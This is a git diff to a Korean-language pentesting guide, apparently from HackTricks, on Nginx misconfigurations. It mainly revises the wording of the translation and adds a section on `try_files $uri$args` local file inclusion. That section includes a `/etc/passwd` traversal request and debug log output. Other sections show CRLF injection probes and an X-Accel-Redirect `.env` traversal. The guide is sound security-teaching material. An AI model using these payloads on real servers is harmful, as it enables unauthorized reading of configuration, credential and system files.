diff --git a/src/images/nginx_try_files.png b/src/images/nginx_try_files.png new file mode 100644 index 000000000..0c14e95c9 Binary files /dev/null and b/src/images/nginx_try_files.png differ diff --git a/src/network-services-pentesting/pentesting-web/nginx.md b/src/network-services-pentesting/pentesting-web/nginx.md index 5c861aaaf..e8605ff45 100644 --- a/src/network-services-pentesting/pentesting-web/nginx.md +++ b/src/network-services-pentesting/pentesting-web/nginx.md @@ -5,7 +5,7 @@ ## Missing root location -Nginx 서버를 구성할 때, **root directive**는 파일이 제공되는 기본 디렉토리를 정의함으로써 중요한 역할을 합니다. 아래 예를 고려해 보십시오: +Nginx 서버를 구성할 때, **root directive**는 파일이 제공되는 기본 디렉토리를 정의함으로써 중요한 역할을 합니다. 아래의 예를 고려해 보십시오: ```bash server { root /etc/nginx; @@ -16,7 +16,7 @@ proxy_pass http://127.0.0.1:8080/; } } ``` -이 구성에서 `/etc/nginx`는 루트 디렉토리로 지정됩니다. 이 설정은 `/hello.txt`와 같은 지정된 루트 디렉토리 내의 파일에 대한 접근을 허용합니다. 그러나 특정 위치(`location /hello.txt`)만 정의되어 있다는 점에 유의해야 합니다. 루트 위치(`location / {...}`)에 대한 구성은 없습니다. 이 누락은 루트 지시어가 전역적으로 적용되어 요청이 루트 경로 `/`에서 `/etc/nginx` 아래의 파일에 접근할 수 있게 함을 의미합니다. +이 구성에서 `/etc/nginx`는 루트 디렉토리로 지정됩니다. 이 설정은 `/hello.txt`와 같은 지정된 루트 디렉토리 내의 파일에 대한 접근을 허용합니다. 그러나 특정 위치(`location /hello.txt`)만 정의되어 있다는 점이 중요합니다. 루트 위치(`location / {...}`)에 대한 구성은 없습니다. 이 누락은 루트 지시어가 전역적으로 적용됨을 의미하며, 루트 경로 `/`에 대한 요청이 `/etc/nginx` 아래의 파일에 접근할 수 있게 합니다. 이 구성에서 중요한 보안 고려 사항이 발생합니다. `GET /nginx.conf`와 같은 간단한 `GET` 요청은 `/etc/nginx/nginx.conf`에 위치한 Nginx 구성 파일을 제공함으로써 민감한 정보를 노출할 수 있습니다. 루트를 `/etc`와 같은 덜 민감한 디렉토리로 설정하면 이 위험을 완화할 수 있지만, 여전히 다른 중요한 파일, 다른 구성 파일, 접근 로그 및 HTTP 기본 인증에 사용되는 암호화된 자격 증명에 대한 의도치 않은 접근을 허용할 수 있습니다. @@ -91,9 +91,9 @@ Connection: keep-alive Location: https://example.com/ Detectify: clrf ``` -CRLF 주입 및 응답 분할의 위험에 대해 더 알아보려면 [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/)를 방문하세요. +CRLF 주입 및 응답 분할의 위험에 대해 더 알아보세요 [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/). -또한 이 기술은 [**이 발표에서 설명됩니다**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77) 취약한 예제와 탐지 메커니즘과 함께. 예를 들어, 블랙박스 관점에서 이 잘못된 구성을 탐지하기 위해 다음 요청을 사용할 수 있습니다: +또한 이 기술은 [**이 강의에서 설명됩니다**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77) 취약한 예제와 탐지 메커니즘과 함께. 예를 들어, 블랙박스 관점에서 이 잘못된 구성을 탐지하기 위해 다음 요청을 사용할 수 있습니다: - `https://example.com/%20X` - 모든 HTTP 코드 - `https://example.com/%20H` - 400 잘못된 요청 @@ -105,9 +105,9 @@ CRLF 주입 및 응답 분할의 위험에 대해 더 알아보려면 [https://b - `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - 모든 HTTP 코드 - `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 잘못된 요청 -그 발표에서 발견된 취약한 구성 중 일부는 다음과 같습니다: +그 강의에서 발견된 취약한 구성 중 일부는 다음과 같습니다: -- 최종 URL에서 **`$uri`**가 그대로 설정된 것을 주목하세요. +- 최종 URL에서 **`$uri`**가 그대로 설정된 방법을 주목하세요. ``` location ^~ /lite/api/ { proxy_pass http://lite-backend$uri$is_args$args; @@ -127,7 +127,7 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri; ``` ### Any variable -**사용자 제공 데이터**가 특정 상황에서 **Nginx 변수**로 처리될 수 있다는 것이 발견되었습니다. 이 행동의 원인은 다소 불분명하지만, 드물지 않으며 검증하기도 간단하지 않습니다. 이 이상 현상은 HackerOne의 보안 보고서에서 강조되었으며, [여기](https://hackerone.com/reports/370094)에서 확인할 수 있습니다. 오류 메시지에 대한 추가 조사는 [Nginx 코드베이스의 SSI 필터 모듈](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365) 내에서 발생하는 것을 확인하게 되었으며, 서버 사이드 인클루드(SSI)가 근본 원인으로 지목되었습니다. +**사용자 제공 데이터**가 특정 상황에서 **Nginx 변수**로 처리될 수 있다는 것이 발견되었습니다. 이 행동의 원인은 다소 불분명하지만, 드물지 않으며 검증하기도 간단하지 않습니다. 이 이상 현상은 HackerOne의 보안 보고서에서 강조되었으며, [여기서](https://hackerone.com/reports/370094) 확인할 수 있습니다. 오류 메시지에 대한 추가 조사는 [Nginx 코드베이스의 SSI 필터 모듈](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365) 내에서 발생하는 것을 확인하게 되었으며, 서버 사이드 인클루드(SSI)가 근본 원인으로 지목되었습니다. 이 **잘못된 구성**을 **탐지하기 위해**, 다음 명령을 실행할 수 있으며, 이는 변수 출력을 테스트하기 위해 referer 헤더를 설정하는 것을 포함합니다: ```bash @@ -135,9 +135,59 @@ $ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar ``` 이 잘못된 구성에 대한 스캔 결과, 사용자가 Nginx 변수를 출력할 수 있는 여러 사례가 발견되었습니다. 그러나 취약한 사례의 수가 감소한 것은 이 문제를 패치하기 위한 노력이 어느 정도 성공적이었다는 것을 시사합니다. +### $URI$ARGS 변수를 사용한 try_files + +다음 Nginx 잘못된 구성은 LFI 취약점으로 이어질 수 있습니다: +``` +location / { +try_files $uri$args $uri$args/ /index.html; +} +``` +우리 구성에서는 지정된 순서로 파일의 존재 여부를 확인하는 데 사용되는 `try_files` 지시어가 있습니다. Nginx는 찾은 첫 번째 파일을 제공합니다. `try_files` 지시어의 기본 구문은 다음과 같습니다: +``` +try_files file1 file2 ... fileN fallback; +``` +Nginx는 지정된 순서로 각 파일의 존재 여부를 확인합니다. 파일이 존재하면 즉시 제공됩니다. 지정된 파일이 모두 존재하지 않으면 요청은 대체 옵션으로 전달되며, 이는 다른 URI 또는 특정 오류 페이지일 수 있습니다. + +그러나 이 지시문에서 `$uri$args` 변수를 사용할 때, Nginx는 요청 URI와 쿼리 문자열 인수를 결합하여 일치하는 파일을 찾으려고 시도합니다. 따라서 이 구성을 악용할 수 있습니다: +``` +http { +server { +root /var/www/html/public; + +location / { +try_files $uri$args $uri$args/ /index.html; +} +} +} +``` +다음 페이로드: +``` +GET /?../../../../../../../../etc/passwd HTTP/1.1 +Host: example.com +``` +우리의 페이로드를 사용하여 Nginx 구성에서 정의된 루트 디렉토리를 탈출하고 `/etc/passwd` 파일을 로드할 것입니다. 디버그 로그에서 Nginx가 파일을 시도하는 방식을 관찰할 수 있습니다: +``` +...SNIP... + +2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd" +2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd" + +...SNIP... + +2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd" + +...SNIP... + +2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK + +``` +Nginx의 위에서 언급한 구성에 대한 PoC: +![Example burp request](../../images/nginx_try_files.png) + ## 원시 백엔드 응답 읽기 -Nginx는 `proxy_pass`를 통해 백엔드에서 생성된 오류 및 HTTP 헤더를 가로채는 기능을 제공하여 내부 오류 메시지와 헤더를 숨기도록 설계되었습니다. 이는 Nginx가 백엔드 오류에 대한 사용자 정의 오류 페이지를 제공함으로써 이루어집니다. 그러나 Nginx가 잘못된 HTTP 요청을 처리할 때 문제가 발생합니다. 이러한 요청은 수신된 대로 백엔드로 전달되며, 백엔드의 원시 응답은 Nginx의 개입 없이 클라이언트에게 직접 전송됩니다. +Nginx는 `proxy_pass`를 통해 백엔드에서 생성된 오류 및 HTTP 헤더를 가로채는 기능을 제공하여 내부 오류 메시지와 헤더를 숨기도록 설계되었습니다. 이는 Nginx가 백엔드 오류에 대한 사용자 정의 오류 페이지를 제공함으로써 이루어집니다. 그러나 Nginx가 유효하지 않은 HTTP 요청을 처리할 때 문제가 발생합니다. 이러한 요청은 수신된 대로 백엔드로 전달되며, 백엔드의 원시 응답은 Nginx의 개입 없이 클라이언트에게 직접 전송됩니다. uWSGI 애플리케이션을 포함한 예시 시나리오를 고려해 보십시오: ```python @@ -162,13 +212,13 @@ proxy_hide_header Secret-Header; 기본적으로 Nginx의 **`merge_slashes` 지시어**는 **`on`**으로 설정되어 있어 URL의 여러 개의 슬래시를 하나의 슬래시로 압축합니다. 이 기능은 URL 처리를 간소화하지만, Nginx 뒤에 있는 애플리케이션에서 특히 로컬 파일 포함(LFI) 공격에 취약한 경우 취약점을 숨길 수 있습니다. 보안 전문가 **Danny Robinson과 Rotem Bar**는 Nginx가 리버스 프록시로 작동할 때 이 기본 동작과 관련된 잠재적 위험을 강조했습니다. -이러한 위험을 완화하기 위해, 이러한 취약점에 취약한 애플리케이션에 대해 **`merge_slashes` 지시어를 off로 설정하는 것이 권장됩니다**. 이는 Nginx가 URL 구조를 변경하지 않고 애플리케이션에 요청을 전달하도록 보장하여 기본적인 보안 문제를 숨기지 않도록 합니다. +이러한 위험을 완화하기 위해, 이러한 취약점에 취약한 애플리케이션에 대해 **`merge_slashes` 지시어를 끄는 것이 권장됩니다**. 이는 Nginx가 URL 구조를 변경하지 않고 애플리케이션에 요청을 전달하도록 보장하여 기본 보안 문제를 숨기지 않도록 합니다. 자세한 내용은 [Danny Robinson과 Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d)를 확인하세요. ### **Maclicious Response Headers** -[**이 글**](https://mizu.re/post/cors-playground)에서 보여준 바와 같이, 웹 서버의 응답에 존재하는 특정 헤더는 Nginx 프록시의 동작을 변경할 수 있습니다. 이들에 대한 정보는 [**문서에서**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/) 확인할 수 있습니다: +[**이 글**](https://mizu.re/post/cors-playground)에서 보여준 바와 같이, 웹 서버의 응답에 존재하는 특정 헤더는 Nginx 프록시의 동작을 변경할 수 있습니다. 이들은 [**문서에서 확인할 수 있습니다**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/): - `X-Accel-Redirect`: Nginx가 요청을 지정된 위치로 내부 리디렉션하도록 지시합니다. - `X-Accel-Buffering`: Nginx가 응답을 버퍼링할지 여부를 제어합니다. @@ -176,11 +226,11 @@ proxy_hide_header Secret-Header; - `X-Accel-Expires`: X-Accel-Redirect를 사용할 때 응답의 만료 시간을 설정합니다. - `X-Accel-Limit-Rate`: X-Accel-Redirect를 사용할 때 응답의 전송 속도를 제한합니다. -예를 들어, 헤더 **`X-Accel-Redirect`**는 Nginx에서 내부 **리디렉션**을 유발합니다. 따라서 **`root /`**와 같은 Nginx 구성이 있고 웹 서버의 응답에 **`X-Accel-Redirect: .env`**가 포함되면 Nginx는 **`/.env`**의 내용을 전송하게 됩니다 (경로 탐색). +예를 들어, 헤더 **`X-Accel-Redirect`**는 Nginx에서 내부 **리디렉션**을 발생시킵니다. 따라서 **`root /`**와 같은 설정을 가진 Nginx 구성과 웹 서버의 응답에 **`X-Accel-Redirect: .env`**가 포함되면 Nginx는 **`/.env`**의 내용을 전송하게 됩니다 (경로 탐색). ### **Map Directive의 기본값** -**Nginx 구성**에서 `map` 지시어는 종종 **인증 제어**에서 역할을 합니다. 일반적인 실수는 **기본** 값을 지정하지 않는 것으로, 이는 무단 접근으로 이어질 수 있습니다. 예를 들어: +**Nginx 구성**에서 `map` 지시어는 종종 **권한 제어**에서 중요한 역할을 합니다. 일반적인 실수는 **기본** 값을 지정하지 않는 것으로, 이는 무단 접근으로 이어질 수 있습니다. 예를 들어: ```yaml http { map $uri $mappocallow { @@ -239,11 +289,11 @@ deny all; } ``` > [!WARNING] -> `proxy_pass`가 `http://backend:9999/socket.io`와 같은 특정 **경로**를 가리키고 있더라도, 연결은 `http://backend:9999`와 설정되므로 **해당 내부 엔드포인트 내의 다른 경로에 연락할 수 있습니다. 따라서 proxy_pass의 URL에 경로가 지정되어 있는지는 중요하지 않습니다.** +> `proxy_pass`가 `http://backend:9999/socket.io`와 같은 특정 **경로**를 가리키고 있더라도, 연결은 `http://backend:9999`로 설정되므로 **내부 엔드포인트 내의 다른 경로에 연락할 수 있습니다. 따라서 proxy_pass의 URL에 경로가 지정되어 있는지는 중요하지 않습니다.** ## 직접 해보세요 -Detectify는 이 기사에서 논의된 몇 가지 잘못된 구성으로 취약한 Nginx 테스트 서버를 설정하기 위해 Docker를 사용할 수 있는 GitHub 리포지토리를 만들었습니다. 직접 찾아보세요! +Detectify는 이 기사에서 논의된 몇 가지 잘못된 구성으로 자신의 취약한 Nginx 테스트 서버를 설정하기 위해 Docker를 사용할 수 있는 GitHub 리포지토리를 만들었습니다. 직접 찾아보세요! [https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx) @@ -257,7 +307,7 @@ Gixy는 Nginx 구성을 분석하는 도구입니다. Gixy의 주요 목표는 Nginxpwner는 일반적인 Nginx 잘못된 구성 및 취약점을 찾기 위한 간단한 도구입니다. -## 참고 문헌 +## 참고자료 - [**https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/**](https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/) - [**http://blog.zorinaq.com/nginx-resolver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/)